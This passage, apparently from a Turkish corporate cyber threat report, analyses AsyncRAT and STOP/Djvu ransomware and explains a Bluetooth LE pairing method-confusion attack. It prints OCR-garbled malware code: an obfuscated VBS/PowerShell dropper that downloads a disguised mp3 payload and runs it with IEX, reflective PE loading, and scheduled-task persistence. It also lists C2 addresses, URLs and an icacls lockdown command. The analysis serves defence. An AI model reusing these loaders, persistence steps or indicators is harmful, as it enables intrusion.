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SORUMSUZLUK VE FIKRI MULKIYET HAKKI BEYANI

isbu eserde/internet sitesinde yer alan veriler/bilgiler ticari amagh olmayip tamamen kamuyu bilgilendirmek amaciyla yayimlanan iceriklerdir. Bu eser/
internet sitesinde bulunan veriler/bilgiler tavsiye, reklam ya da is gelistirme amacina yonelik degildir. STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.
isbu eserdef/internet sitesinde sunulan verilerin/bilgilerin igerigi, glincelligi ya da dogrulugu konusunda herhangi bir taahhtide girmemekte, kullanici veya
Ucunci kisilerin bu eserde/internet sitesinde yer alan verilere/bilgilere dayanarak gergeklestirecekleri eylemlerden 6tliri sorumluluk kabul etmemektedir.
Bu eserde/internet sitesinde yer alan bilgilerin her tirlii hakki STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.’ye ve/veya eserde atif yapilan kisi
ve kurumlara aittir. Yazili izin olmaksizin eserde/internet sitesinde yer alan bilgi, yazi, ifadenin bir kismi veya tamami, herhangi bir ortamda hicbir sekilde
yayimlanamaz, ¢ogaltilamaz, igslenemez.
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2021 yilinin son geyreginde sizler icin hazirlamis oldugu-
muz raporumuzda yine birbirinden ilgi cekici ve glincel
konularla karginizdayiz.

Bunlarin arasinda her dénem oldugu gibi zararli yazihm
analizleri ve teknolojik gelismeler gibi baslklar bulunu-
yor. Raporda “AsyncRAT” ve “STOP” isimli zararli yazi-
hmlarin analizleriyle baslayan bolimua teknolojik gelis-
meler b&lUmU takip ediyor.

loT diinyasinda giyilebilir teknolojilerin sayilarinin ve bir-
birleriyle olan iletisim ihtiyacinin artmasi, Bluetooth kul-
laniminin  yayginlasmasini getirdi. Saldirganlarin bunu
firsat bilerek basvurdugu “Ortadaki Adam” (Man In The
Middle) saldirisinin analizini sunuyoruz.

Bunun devaminda, saldirganlarin tarayici énbelleklerin-
de saklanan web sitesi faviconlari sayesinde kurbanlari-

1. AsyncRAT Zararh Yazilm Analizi

Calistigi cihaz Gzerindeki bilgileri disariya sifreli olarak
aktaran zararli yazilim AsyncRAT, degisik sekillerde tek-
rar yUkselise gecmis bulunuyor. Cesitli sekillerde paket-
lendiginden 6tlrl pek ¢ok varyasyonu bulunmaktadir.
Bu yazida asagida bilgileri verilen érnek incelenmistir:

Algoritma Deger

MD5 223cad7e2ce7b7945c6cacad2d0e0736

SHA-1 4db6703a137ef261a862c85372816fb68d4dd004
SHA-256 9bae559dfd9349a078fe4a38b86ef84da7f3f09a-

22df5fb4be1a9d0adbf3bad3

Tablo 1: AsyncRAT bilgileri.

VirusTotal Uzerindeki raporuna bakildiginda, incele-
me yapildi§gi zaman 55 glvenlik yazilimi {reticisi ara-
sindan sadece 12 tanesinin zararli tespiti yapabildigi
gorulmektedir:
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nin hangi sayfalarda dolastigini nasil 6grendigini agikla-
yan yazimizi paylasiyoruz.

Daha sonra kétl amach sosyal medya hesaplarini ma-
kine 6grenmesi kullanarak tespit edebilmek icin “Deep
Entity Classifier” algoritmasini inceliyor ve ardindan da
insanlarin parola yoéneticisi kullanimlarinin yas araliklari-
na goére nasil degistigini ele aliyoruz.

Daha sonra en eski internet protokollerinden biri olan
NTP (Network Time Protocol) protokoliniin glinimiizde
ne kadar guvenli oldugunu irdeliyoruz.

Son olarak bu rapordaki dénem konumuzu, son zaman-
larda hizla gelisen ve vazgecilmez bir teknoloji haline
gelmis olan Ethereum blok zincirindeki akilli s6zlesme-
lerin zafiyetlerinin incelenmesi olusturuyor.

Keyifli okumalar dileriz.

Ad-Aware Valyria.5229
AlYac yria.5229
Arcabit yria.D146D
BitDefender Valyria.5229
Drieb oader.2284
Emsisoft (O VB:Troj yria.5229 (B)
eScan O vB Valyria.5229
FireEye (OR

GData @v yria.5229
Kaspersky ownloader.Scrip...
MAX (D Malware (ai Sco
Symantec \ll SB.Downloaderlgen7s

Sekil 1: AsyncRAT’I tespit edebilen glvenlik yazilimlari.

Zararli, bir Visual Basic Script dosyasi seklindedir. Kul-
lanici, bu dosyayi calistirdiginda zararl aktiviteler baglar.
Betigin icerigi su sekildedir:

1 Set MY =
Createlbject (Replace (Replace (Replace (Replace (Replace (Replace (Replace (Replace (Replace (Replace (Replace ("hRrXsjjkl
JoZxwDHrXRpVIYQYQ™, "hR", "w"), "rX", "s"), Wgim, ngm) m4pm o mpmy o wIFW o mimy o mogmoompmy o mygn ompwmy o wLEe
m_omy, WRRM, "hR"), "YI® omemy omygme o omymy g

2 ZC = ("powesrsh")
HMY.Run( (Z0)+"ell -Com mand [System.Threading.Thread]::5leep(5000); f$edg = '"SecurityProtocol';$cacal =
'SecurityProtocol'; [System.Net.ServicePointManager]::$edg = [System.Net.ServicePointManager]::Scacal -bor
3072;%cl=" (New-';%Z = '"!@ '.Replace('!@", 'Object');5X2 =
ISISIS1515151S151518" .Replace (" [SISISISISISIS151515", '"Het ") ;$X3 =
TIPTprItI It Replace (LY, W) s Sce="|]]|"'.Replace('||]|]"',"-Downlo') ;501 =

'<3>'.Replace("<3>', 'bClient) ') ;5c3="<4>("''https://v3-fastupload.s3-accelerate.amazonaws.com/1638271778-imageV.
mp3'')'.Replace ('<4>', 'adString'):;$M = $cl,5$Z,5X2,5X3,5D1, $c4, 5c3;5henx =

'<5>"' .Replace("'<5>"','I'E"X"):5zzz2 ZZZ

zzz= Shcnx+ (M —Join ''") |[I'E"X;S5edg =

'SecurityProtocol';$cacal = 'SecurityProtocol'; [System.Net.ServicePointManager]::Sedg =
[System.Net.S5ervicePointManager] : : §cacal -bor 3072;"), CONSOLE HIDE, CMD WAIT

5 Set HM = NHothing

Sekil 2: Zararli kod taslyan Visual Basic betigi.

4
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3 powershell -Com mand
4 [System.Threading.Thread] : : Sleep (5000) ;

5 Sedg = 'SecurityProtocol';

& Scacal = '"SecurityProtocol';

7 [System.Net.ServicePointManager]::Sedg = [System.Net.ServicePointManager]::5cacal -bor 3072;
Scl=" (New-';5Z = "!'@ '.Replace(''@', 'Object'):

5X2 = 'ISISISISISISISISISIS .Replace (" ISISISISISISISISISIS, 'Net");
SX3 = 'ttt Replace (LYY, W)
Sc4="|1|".Replace('|1]]"',".Downlo");

5Dl = '"<3>'.Replace('<3>','bClient)');

13 $c3="<4>("''https://v3-fastupload.s3-accelerate.amazonaws.com/1638271778-inageV.mp3' ') ' .Replace ('<4>"', 'adS5tring’'
)i

14 8M = Scl,SZ,5X2,5X3,5D1,5c4,5c3;

15 Shecnx = "<5>'.Replace('<5>',"I'E"X"):% = Shenx+ (SM -Join '"") |[I'E"X;$edg =
'SecurityProtocol’;

16 Scacal = '"SecurityProtocol';

17 [System.Net.ServicePointManager]::Sedg = [System.Net.ServicePointManager]::5cacal -bor 3072;

Sekil 3: Powershell betik icerigi.

1 try
2 {

4 start-sleesp 3

5 SGHFKVNVR = @'

& JLoDkCTdtiX61W1lj1l23btml7123bVbts27Z2t22zZ3uar/c859t/u91xHAI 9aK0e fRkSPGzMyIXBmRs 1 rxABARRADEZ / Z5A0DaRP+BACD/ DP9/ Ji R+
T '@
5 £jtwC = New-Object IO.Compression.DeflateStrean([I0.MemoryStream] [Convert]::'FromBase645tring' ($GHFEVNVR), [I0.Cor

SUIMBFTYRYT = New-Object Byte[] (98816)

10 start-sleesp 3
11  5jtwC.Read (SUIMBFTYRYT, 0, 98816) | Out-Null
12 start-sleesp 3
13 [Byte[]] SMyPt = [System.IO.Path]::([System.Threading.Thread]::'GetDomain’ (). 'Load" (SUIMBFTIYRYT) . 'EntryPoint'.Inv

15 SJMVCCF = "Frameworke4"

16 start-sleesp 3

1 S$IMVCCF2 = "Framework"

18 [Cbiect[]] SParams=@ (SMyPt.Replace (SJMVCCF, SIMVCCF2) , SUIMBFTYRYT)
15 [System.Threading.Thread] : : Sleep (600)

20 return 5$T.GetMethod('Run').Invoke (Snull, SParams)

21 } catch { }

22 [System.Threading.Thread] : : Sleep (600)

23 start C:\ProgramData\Edg\Edg.vbs

Sekil 4: mp3 uzantilh dosyada yer alan zararl kod.

Betik, kullanici ve guvenlik yazilmlarini atlatma ama- ™™

ciyla bulaniklastinimistrr. ilk satirda “wscript.shell” dizisi =~ @
bulaniklastirimistir. Bu obje ileride powershell komutla- — Brenow on aipaber chors
rni VBS Gzerinden cgalistirma amaciyla olusturulmustur.
3’lncl satirda bulunan powershell komutunun calistiril-
masi igin gerekli hazirliklar yapildiktan sonra, ¢calistinlacak
olan powershell komutlar da statik analizden korunma .
amaciyla bulaniklastinimistir. Genelde “Replace” komutu

kullanilarak ézel sdzciikler bir arada tutulmamistir. SIKETaNCAb S LYK Tk A 0SB LULT 2036V GRa3a0

/FCEFIShXTEBROZNS WxNWelWt 510PZRCHT GOTCHUST DT +KWMvBaH

Raw Inflate

] = ] = Adaptive

buffer after
I:I Verify result
pression

DF FURKLNTO3 BNy YWY 212 zmuNBOVAUF E 1AmRnigHICNK 60kDHXBupC 2 eHmHIGKS YFugxas joTWBSor=uCsKZ8ZalGwe e
sevCm ble Xdve Y 32PXmUGTA/ THDFLOSTHKNOAXHDK J6GAF 661 7 INVABY 1 SXST4ENEX2 1AmAR
AQOPrOVTDCCL

Powershell’de ¢alisacak olan betik, biraz daha okunabi-
. . . . . A9kcWIHASU21@dsc FMbeBHONGSSc01L0gzY3QF FRABCAGAus LreryOnmQeBAWSnkR1KdS+ ik
lir sekilde yukarida verilmistir. LT ak SO P hn st

F088VAOT2cubTx43YSTY!

7 KXz 1rg+UstnHODBUZXETumSIR
UB0B5CCrbuTulSRHMzyv]

/q9I54COE Zr3xAvER/ 65/ HdmKCFRImHALWN /- Tn/gVG2812t LfpdY1fu2/Ge/ +HwaTdlnITE
. . “ ” . . /PT7hI09WIPCYAKTURDE ZWQIXHANZ SF FUIBR SRRy Fh/ 31PIrna1frHEnC 2rdtLSXXDXPTCOWKOACE TZRNAQZTS
Yine bircok “Replace” komutuyla zararli aktivite statik 352G 831 TahkyHRGI 1/ 19870910/ 5 1 SApEHCHET

©FMKnjcLROgIOTEPDXL1aDN I TnL4 00AQIr10BE YaStAmkE
LOMF sTAvAZ Tyikd2y] ZAXEKO1BCh/ 160N L1UG/ k27200 j Cixg2
@XAXIm2HIVGBhpAOL ZFSrEvTrOLYZFTvTaMinz IARYQ? 7 aoCpDTDIF837+01npk2b2B i kGORIKWIrUES 14Wb 2 1P 15+¢
Knlrfp4fipp3fl HaApPL 1 DT 2201 g9HLpV3gaUOVY VNS
hiizmt/ grt JaWEnF LhuioRxhLy?
BTr1+cS iwAQrmgxT+P646v 1y LY 1SHy s Fb3 LRA36AHAZCVUBULEPYmDC 3r9FASLOMGAD

analizden saklanmaya g¢alisilmistir. 7’inci satirda cihazin
gegcerli protokol tipinin TLS 1.2’ye ayarlandigi gériilmek-
tedir. Bunun haricinde 13’Unci satirda yer alan link dikkat
cekmektedir. Zararli kod buradaki dosyay! indirip 15’inci
satirda powershell’in IEX komutuyla calistirmaktadir.

indirdigi dosya mp3 uzantili olmasina karsin powershell
komutlar barindirmaktadir.

Powershell kodu incelendiginde base64 ile sifrelen- ¢ g lamus 6.0
mis veri gbze carpmaktadir. Ayrica analizin zorlastirl- iy b T Dol

masi igin uzun sireli uyuma komutlan da icermektedir. e deae e S
Baseb64 ile sifrelenmig veri acildiginda “MZ” ve “PE” im-

zalarn goérilmektedir: Sekil 5: Powershell betigi icinde yer alan PE imzali dosya.

SIBER TEHDIT DURUM RAPORU 5
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1 $action = New-ScheduledTaskfAiction -Execute 'C:%“ProgramData
Strigger = New-ScheduledTaskIxigger -Once -At (Get-Date) —Repetltloﬁlﬁterval {(Hew-TimeSpan

-Minutes 2)

Register—ScheduledTask -Action $Saction -Trigger Strigger -Tasklame "Edg”

Sekil 6: Zararlinin sistemde kaliciligi sagladigi kod pargasi.

start-sleep
return $byteOutArray
=1
1

[Bvte[]l] $PanelXV = Decompress @/
[Byvte[]1] SRtDXB = Decompress (@ (
while (§true)
=
$RR1 = "Load"
32 start-sleep
$EE1 = "GetMethod"
start-sleep
SPanelC =
start-sl eep
Snox = '
Svhox = '
Sghijxet = 'l
Syhofdinkde

rrrrrrrrr

rrrrrrrrr

=
-

on.Assembly<$

[Bvte[l] SVBX + Scc
start-sleep
Sgbex =

SNCEZF = "ork
[Byvte[1] $gbcx + SNCEF

[Ckiject[]] 5tRDE={ ($BC.Replace (5VBX, $NCZF)
start-sleep

2 [System.threading.thread] : :Sleep( )
start-sleep -s

1

~} catch { }

, $RtDXB)

R
-

#-
=+
#-
=+
+
=+
#
=
=
=
=
=

f#>SREDXB<#4>) . £

Sekil 7: PE Edg.ps1 zararli dosyasinin baska zararli kodlari ¢alistirdigi bélim.

Betik, temel olarak base64 ile sifrelenmis veriyi acip ¢a-
istirmaktadir. Betigin en sonunda yer alan “Edg.vbs”
dosyasl henlz ortaya gikmamistir. Betigin calistirdigi PE
dosyasi incelendiginde, C# programlama dili kullanila-
rak olusturulmus calistirilabilir dosya oldugu tespit edil-
mistir. Bu zararli yazilim calistiginda ise betikte bulunan
“Edg.vbs” dosyasi ve bu dosyanin ihtiyag oldugu diger
dosyalari “C:\ProgramData\Edg” klas6riintin altina olus-
turmaktadir. “Edg.vbs” dosyasi “Edg.bat” dosyasini, bat
dosyasi ise “Edg.ps1” powershell betik dosyasini ¢alig-
tirmaktadir. Betik ilk satirlarinda ¢alistigi cihazda kalicihgi
saglamaya calismaktadir:

Kalicihgr sagladiktan sonra 41’inci satirda “gzip” ile si-

kistirnlmis olan zararli kodlari acip galistirmaktadir.

“PanelXV” degiskeninde C# programlama diliyle yazil-
mis bir calistinlabilir dosya (.exe), “RtDXB” degiskeninde
ise C# programlama diliyle yazilmis bir kiitiiphane dos-
yasi (.dll) saklanmaktadir. Betigin 41’inci satirindaki bula-
niklastirima kaldirldiginda soyle gortlmektedir:

“[Reflection.Assembly]::Load($RtDXB).Getty-
pe(NV.b).GetMethod(Execute).Invoke($null,[object][]]
($PanelC,$PanelXV))”

Bu satirla, DLL dosyasi yUklendikten sonra “NV.b” sini-
finin “Execute” metodu cagriimaktadir. Bu metoda bir
dosya yolu ve EXE dosyasinin igerigi verilmektedir. DLL
dosyasi, betikte yer alan EXE dosyasini ¢aligtirir ve Asy-
ncRAT hedef makinede calismaya baglar.

C# programlama dilinde gelistirilen RAT calistirilabilir
dosyasi statik ve dinamik analizden kaginmak igin bir-
¢ok bulaniklastirma metoduna sahiptir. Asagida bu za-
rarli uygulamanin ana kodu gdsterilmistir:

Sekil 8: Zararlinin RAT gdrevini icra eden kod parcasi.

SIBER TEHDIT DURUM RAPORU
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Zararl, ¢calistiginda ilk is olarak kullanacag: bilgileri acip
“Mutex” yaratma ve kontrol igslemlerini gerceklestirir. Bu
ornekte Mutex’i “AsyncMutex_6SI8OkPnk” adiyla olus-
turur. Kendi icinde kullanacag bilgiler AES sifreleme
yontemiyle sifrelendiginden dolayi onlara ulasmak igin
acmak zorundadir. Decompile edilmis kodda 19’uncu
satirda zararli parametreleri bellekte acar. Bu paramet-
relerin bazilari agsagida verilmistir:

Port 2005

Komuta Kontrol 138.201.2.2

Versiyon 0.5.7B

Yikleme false

Mutex Adi AsyncMutex_6SI80OkPnk
Pastebin null

Anti-analiz false

Tablo 2: AsyncRAT parametreleri.

Zararli, TCP protokollinl kullanarak komuta kontro-
le baglanir. TCP baglantisinin sonlanmamasi amaciyla
belirli araliklarla paket alisverisinde bulunur. Hedef sis-
temde calisan zararli, komuta kontrolden gelen zararli
kodlari calistirdigindan 6tiri diger zararli davraniglarina
erisilememigtir.

2. STOP Zararh Yazim Analizi

Diger fidye yazilimlari kadar yaygin olmayan ancak gu-
nimizde hala kullanilmaya devam eden STOP (djvu)
isimli fidye yazihmi olarak etiketlenen 915d210a27f-
b06e0c1ce21ee18fcfdec MD5 hash degerine sahip za-
rarll yazilim incelenmistir. Dosya biyUkligu 883.50 KB
olup incelenen zararl yazilim calistinlabilir Windows 32
bit PE32 dosyasidr.

incelenen dosya birgok viriis programi tarafindan zararli
olarak etiketlenmigtir. Zararli yazilimin barindirdidi farkl
davraniglar nedeniyle gliivenlik araglari tarafindan agirlkh
olarak Trojan veya Ransomware olarak nitelenmigtir.

Zararl yazilimin dinamik analizi kapsaminda, dosya Win-
dows 7 32 bit igletim sisteminde calistirldiginda 6ncelik-
le isletim sistemi tarafindan desteklenen dillerin “HKEY _
LOCAL_MACHINE\SYSTEM\ CONTROLSETOO01\
CONTROL\NLS\SORTING\VERSIONS” registery key
bilgisinden kontrol edildigi gérulmustur.

Zararll yazilm daha sonra kendisini tekrar calistirarak
yeni bir process olusturmaktadir. Ayni isimle fakat fark-
Il bir process ID degeri ile calisan uygulama asagidaki
onemli iglemleri gerceklestirmektedir.

Kendisini  kullanicinin klas6rii  altina

kopyalamaktadir.

AppData

Bilgisayarin her agilista kullanicinin AppData klasori
altinda bulunan ayni isimli dosyanin ¢alistirimasi icin
“HKEY_CURRENT_USER\Software\Microsoft\Win-
dows\CurrentVersion\ Run\SysHelper” registery key

SIBER TEHDIT DURUM RAPORU
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bilgisi altina dosya yolu bilgisini --AutoStart paramet-
resiyle birlikte eklemektedir.

ICACLS.EXE’yi kullanarak AppData altinda bulunan
dosyanin ACL (access control list) bilgilerini “/deny
*S-1-1-0:(Ol)(CI)(DE,DC)” parametreleriyle degisti-
rerek dosyanin kullanicilardan gizlenerek silinmesini
O6nlemektedir.
Bilgisayarin
okumaktadir.
Ag kartinin MAC adresi sorgulanmaktadir. C2 ile ileti-
sim stirecinde MAC adresi degeri kullaniimaktadir.

WPAD (Web Proxy Auto-Discovery Protocol) ayarlar
degistiriimekte veya yeniden olusturulmaktadir.

Uygulama tekrar kendisini galistirarak yeni bir pro-
cess olusturmaktadir.

ismini GetComputerName API'si ile

Tekrar farkl bir process ID bilgisiyle ¢alisan ayni uygula-
ma “--Admin IsNotAutoStart IsNotTask” parametresiyle
kendisini tekrar calistirmaktadir. Calisan uygulama STOP
isimli fidye yazilimi ézelliklerini gdstermektedir. Onemli
olan belli bagli islemler asagida listelenmistir.

taskschd.dll yiklenerek Task Scheduler ile uygula-
manin hayatta kalmasi, belli zamanlarda calisildigini
kontrol etmesi icin yeni gbérev zamanlayicisi girdisi
yapmaktadir.

“HKEY_LOCAL_MACHINE\SOFTWARE\MICRO-
SOFN\SYSTEMCERTIFICATESNAUTHROOT\CERTI-
FICATES\” altindaki sistem sertifikalarina midahale
etmektedir.

Desteklenen dilleri tekrar kontrol etmektedir.

GetComputerName API kullanilarak bilgisayar ismini
okumaktadir.

GetUserNameEx ve GetUserName API’leri kullanila-
rak kullanici bilgilerini sorgulamaktadir.

GetTimeZonelnformation API kullanilarak igletim sis-
temi zaman dilimini kontrol etmektedir.

GetSystemTimeAsFileTime API kullanilarak igletim
sistemi saatini kontrol etmektedir.

Bazi dosyalarin uzantilarina .pcqq ekledigi ve dosya
icerigini degistirdigi gortlmektedir.

Farkli klasdrlerde olusturdugu _readme.txt isimli dos-
ya igeriginde fidye yazilimi metni gértlmektedir. AT-
TENTION! Don’t worry, you can return all your files!

All your files like pictures, databases, documents and
other important are encrypted with strongest encryp-
tion and unique key.

The only method of recovering files is to purchase
decrypt tool and unique key for you.

C:ASystemID\PersonallD.txt ~ dosyasi  “SpNdLH-
1399769YerBBKCxHURRAqLhaXsGw3Fbkt1” igeri-
giyle calisan bilgisayara 6zel bir ID olusturulmakta-
dir. STOP/Djvu fidye yazilimi online ve offline olmak
Uzere iki farkll ID olusturmaktadir. C2 sunucularina
ulasilamamasi durumunda offline ID olusturmaktadir.
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Offline ID bilgisinin son iki karakteri de genellikle t1
olmaktadir. Analiz esnasinda olusan ID degeri offline
degere benzemektedir.

Process32Next API kullanilarak galisan proses isim-
lerini sUrekli sorgulamaktadir.

STOP fidye yaziiminin ag baglantilari incelendiginde iki
farkl domain ile irtibata gectigi gértlmektedir. api.2ip.
ua ve asvb.top domain adresleri fidye yazilimi tarafin-
dan kullanilan domain bilgileridir. api.2ip.ua adresi zararli
yazilim tarafindan, zararli yazihmin galistigi bilgisayarin
gercek IP adresinin hangi Ulkeye ait oldugunu belirle-
mek icin kullandigi gérilmistir. S6z konusu adresin
zararli yaziim ile dogrudan bir baghhg bulunmamakta-
dir. asvb.top adresini C2 olarak kullanan zararl yazilim,
bu sunucuya ulasamamasi durumunda da offline olarak
dosyalari sifreleme islemini biinyesinde barindirdigi key
ciftiyle yapmaktadir. C2 ile baglanti saglamasi durumun-
da ise bilgisayarin MAC adresinin hash degerini C2’ye
gbnderip sifreleme islemini C2’den dénecek anahtarla
yapmaktadir.

Fidye yazilminin C2 ile internet Uzerinden konugmasin-

da asagidaki URI bilgilerine erisilmigtir.
http://asvb.top/files/penelop/3.exe
http://asvb.top/files/penelop/updatewin2.exe
http://asvb.top/files/penelop/updatewini.exe

http://asvb.top/nddddhsspen6/get.php
pid=<HASH>&first=true

http://asvb.top/files/penelop/4.exe
http://asvb.top/files/penelop/updatewin.exe
http://asvb.top/files/penelop/5.exe

S6z konusu zararli yazilimin dosya sisteminde biraktigi
kalintilardan énemli olanlar asagida listelenmistir.

\AppData\Local\bowsakkdestx.txt
C:\SystemID\PersonallD.txt

\_readme.txt

\AppData\Local\<« DEGISKEN >\3.exe
\AppData\Local\< DEGISKEN >\4.exe
\AppData\Local\<« DEGISKEN >\5.exe
\AppData\Local\<« DEGISKEN >\updatewin.exe
\AppData\Local\< DEGISKEN >\updatewin1.exe
\AppData\Local\<« DEGISKEN >\updatewin2.exe

Zararl yaziim tarafindan c¢alistinlan komutlar ve/veya
parametreler agagida listelenmisgtir.

icacls < DEGISKEN >\AppData\Loca\< DEGISKEN
> /deny *S-1-1-0:(Ol)(CI)(DE,DC)

--Admin IsNotAutoStart IsNotTask

\AppData\Local\< DEGISKEN >\updatewin.exe
\AppData\Local\< DEGISKEN >\updatewin1.exe
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\AppData\Local\< DEGISKEN >\updatewin2.exe
\AppData\Local\< DEGISKEN >\3.exe
\AppData\Loca\< DEGISKEN >\4.exe
\AppData\Local\< DEGISKEN >\5.exe

Kayit  defterinde
listelenmistir.

yapllan  degisiklikler —asagida

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\SysHelper

HKEY_CURRENT_USER\Software\Microsoff\Win-
dows\CurrentVersion\Internet Settings\Wpad\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
SystemCertificates\ROOT\Certificates\

3. Bluetooth Yéntem Karistirma Saldirisi

Bluetooth; sifreleme, kimlik dogrulama ve veri buttnltgu
saglayan bir kablosuz kisa mesafe baglanti ve iletisim
protokoludir. Bluetooth cihazlarnin ilk kullanimda es-
lestirme adi verilen bir iglemle gliven olusturmasi gere-
kir. Bluetooth protokolill birden ¢ok alternatif eglestirme
yéntemini desteklemektedir. Bir grup arastirmaci tarafin-
dan gelistirilen ve “Yéntem Karistirma Saldirisi” olarak
adlandirilan bir metotla saldirgan kurban olarak segctigi
cihazlar arasindaki givenli baglantiya sizabilir ve tim
trafigi kesebilir.

2010 yilinda, Bluetooth Ozel ilgi Grubu (Bluetooth SIG),
Bluetooth Low Energy’yi (BLE) standartlastirarak, IoT
Ureticilerine dugik maliyetli ve distk gug tlketen bir
iletisim protokolU olarak sundu®®. Popularitesini daha da
artiran BLE, artik mobilite, saglik, finans, eneriji, lojistik
ve eglence uygulamalarini da icine alan genis bir Urin
yelpazesinde kullaniimaktadir. Bu cihazlarin cogu has-
sas verileri igler veya kritik uygulamalar ¢alistirir ve bu
nedenle iletisimi korumak icin yliksek guvenlik gerekti-
rir. BLE kullanan cihazlarn ¢odu oldukca hassas verileri
islemektedir. Ornegin akilli saatler ve kondisyon takip
cihazlan kullanicilarin kisisel biyometrik verilerini topla-
yarak akilli telefonlarla paylasmaktadir.

Bluetooth Classic (BC) ve BLE’ye strim disirme veya
kriptografik saldinlar da dahil olmak Uzere bilinen bircok
saldirn vardir®s 81 ©1. 71 Ancak glvenli bir baglanti yontemi
kullaniliyorsa, bunlarin higbiri mevcut Bluetooth 5.2 siru-
mu icin gecerli degildir. Bluetooth gilivenlik ihtiyacini kar-
sllamak icin uygulamalar talep ederse sifreleme, kimlik
dogrulama ve bitlnlik korumasi sunabilmektedir. Bu-
nun igin ilk olarak cihazlar arasinda givenilir bir baglant
kurulmalidir. Bu sUrece “eslestirme sureci” adi verilir.

Bluetooth’da bircok farklh eslesme metodu vardrr.
Bu yuzden cihazlarin karsilikll olarak hangi metodu
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kullanacaklari hususunda anlagsmasi gerekir. Ayrica Blue-
tooth eslesmesi surecinde her iki ucun da ayni yéntem
Uzerinde anlastigi kontrol edilmezse cihazlarin farkl es-
lesme ydntemleri kullanarak birbirleriyle etkilesime gec-
mesi mimkindur. Bu zayiflik Gzerine galismalar yuriten
arastirmacilar “Yéntem Karmasasi” adini verdikleri yeni
bir saldin sekli gelistirmistir. Saldirgan 6ncelikle (heniiz
bir gliven baglantisi kurmamis olan) iki cihaz arasindaki
eslestirme girisimini tespit ederek ele gegirir. Ardindan
her iki kurbanla farkli eslestirme yontemleriyle gtvenli
baglantilar kurar (Yontem Karmasasi). Kurbanlar gtive-
nilir bir cihazla eslestiklerini varsayarlar fakat saldirganla
eslesmislerdir. Boylece saldirgan iki cihaz arasinda gu-
venli bir baglanti kurmak icin 6én paylasimda kullanilan
gizli bilgileri elde eder. Bu bilgiler kullanilarak eslestirme
islemleri etkilenebilir ve Yontem Karmasasi basarill es-
lestirmelerle sonuglanabilir. Kurbanlar gtvenilir bir bag-
lanti kurduklarini varsayarlar ancak, istikrarli bir Ortadaki
Adam (MitM) konumunda olan saldirganla eslesmiglerdir.

Bluetooth Genel Bakig

Son kullanici cihazlannin farkl yetenekleri ve glvenlik
gereksinimleri vardir. Ornegin, diziistii bilgisayarlarda
ekran ve klavye varken, kulakliklarda ikisi de yoktur.
Bluetooth protokoll gesitli cihazlan desteklemek igin,
iliskilendirme Modelini (Association Model), cihazlarin
yeteneklerine ve guvenlik gereksinimlerine gére dina-
mik olarak segilebilir sekilde sunmaktadir. BLE’'de, Es-
lestirme Ozelligi Degisimi (Pairing Feature Exchange)
bir eslestirme yéntemi Gzerinde anlagsmak icin kullanilir.
lliskilendirme Modeli sézlesmesi icin U temel &zellik
mevcuttur:

OOB-bit: OOB verisinin kullanilabilecegini belirtir.
MitM-bit: Kimlik dogrulamanin aktif oldugunu belirtir.

IOCaps: Kullanici etkilesimi igin saglanan yetenekleri
belirtir.

BLE’de kullanilan IOCaps yetenekleri sunlardir:

DisplayOnly: Cihaz sadece 6 haneli sayisal bir deger
gbrintileyebilir.

DisplayYesNo: Cihaz 6 haneli bir sayisal deger go6-
rintdleyebilir ve kullanici bir onay (evet veya hayir)
girebilir.

KeyboardOnly: Kullanici 6 haneli sayisal bir deger ve
bir onay girebilir.

KeyboardDisplay: Cihaz 6 haneli bir sayisal deger
go6runtileyebilir ve kullanici 6 haneli sayisal bir deger
ve bir onay girebilir.

NolnputNoOutput: Cihazin kullanici ile iletisim kurma
yetenegi yoktur.

iki cihaz arasinda eslestirme &zellikleri karsilikli olarak de-
gistirildiginde, cihazlar birbirinden bagimsiz olarak hangi
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iliskilendirme ydntemini (Association Model) kullanacagi-
na karar verir. Eger eslestirme 6zellikleri ayarlanirken MitM
biti aktive edildiyse yukarida siralanan IOCaps yetenekle-
rinden hangilerinin kullanilacagi da belirlenmis olur.

Display- Display- Keyboard- Nolnput- Keyboard-
Only YesNo Only NoOutput Display
>
S
E) Sadece Sadece Anahtar Sadece Anahtar
E_ Calis Calis Girigi Calis Girigi
=
o
%
53 Sadece =EOEEL Anahtar Sadece SEIEED
8 cais Karsilag- Girisi Calis Karsilas-
% tirma tirma
=
>
c
o
g Anahtar Anahtar Anahtar Sadece Anahtar
B Girisi Girisi Girisi Calis Girisi
>
N
-
=]
o
=
3
§ Sadece Sadece Sadece Sadece Sadece
5 Calis Calis Calis Calis Calis
g
<]
4
>
o}
<%
2 S / Sayisal
8" Anahtar ayisa Anahtar Sadece .
® L Karsilas- L Karsilas-
a Girigi Girigi Calis
S tirma tirma
5
X

Tablo 3: IOCaps’e gore Eslesme Modeli segimi.

Uzerinde anlasilan 10Caps’e gére cihazlarda kullanila-
cak kimlik dogrulama metotlari Tablo 3’de gdsterilmistir.
Ornegin, sayisal karsilastirma yapilabilmesi icin cihazla-
rin DisplayYesNo veya DisplayKeyboard &zelliklerini sag-
layabilmeleri gerekmektedir.

Yoéntem Karistirma Saldinisi

Bu saldin BLE cihazlarin birbirleriyle eslesme girisimlerini
hedef alarak MitM gerceklestirmeye calisan bir ydontem-
dir. Yéntemin genel ¢ercevesi; A ve B cihazlar arasinda
tek bir eslestirme yerine, saldirgan olan C ile ayni anda
iki farkli eslestirme yapilmasina dayanir. Eger hicbir ci-
haz MitM bitini aktif etmemisse kimlik dogrulama olarak
“Just Works” (JW) yéntemi kullanilir. Bu yéntem Uzerin-
de yuritdlmus ¢alismalar mevcuttur fakat Minih Teknik
Universitesindeki aragtirmacilarin yaptigi calisma MitM
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bitinin aktive edildigi durumlarn kapsamaktadir. Eger
MitM biti aktive edilmigse, kimlik dogrulama igin anahtar
girisi mi (PE) yoksa sayisal karsilastirma mi (NC) kullani-
lacag yukaridaki IOCaps’lere gore tayin edilir.

Saldiri On Adimlan

1. Saldirgana Baglanma: Kullanicinin A ve B cihazlarini
birbirleriyle eslestirmeye calistigini varsayiyoruz. Or-
negin A cihazi dizlsti bilgisayari, B cihaz akilli saati
ve bunlara ek olarak da C cihazi saldirgani temsil edi-
yorlar. Saldirinin gerceklesebilmesi icin A, B yerine C
ile eslestirmeyi baslatmalidir, béylece saldirgan MitM
olarak hareket edebilir. A etrafindaki BLE cihazlar
ararken, B de kendini tanitmak igin etrafa reklam bil-
gisi yaymaya baglar. Ayni zamanda saldirgan C de B
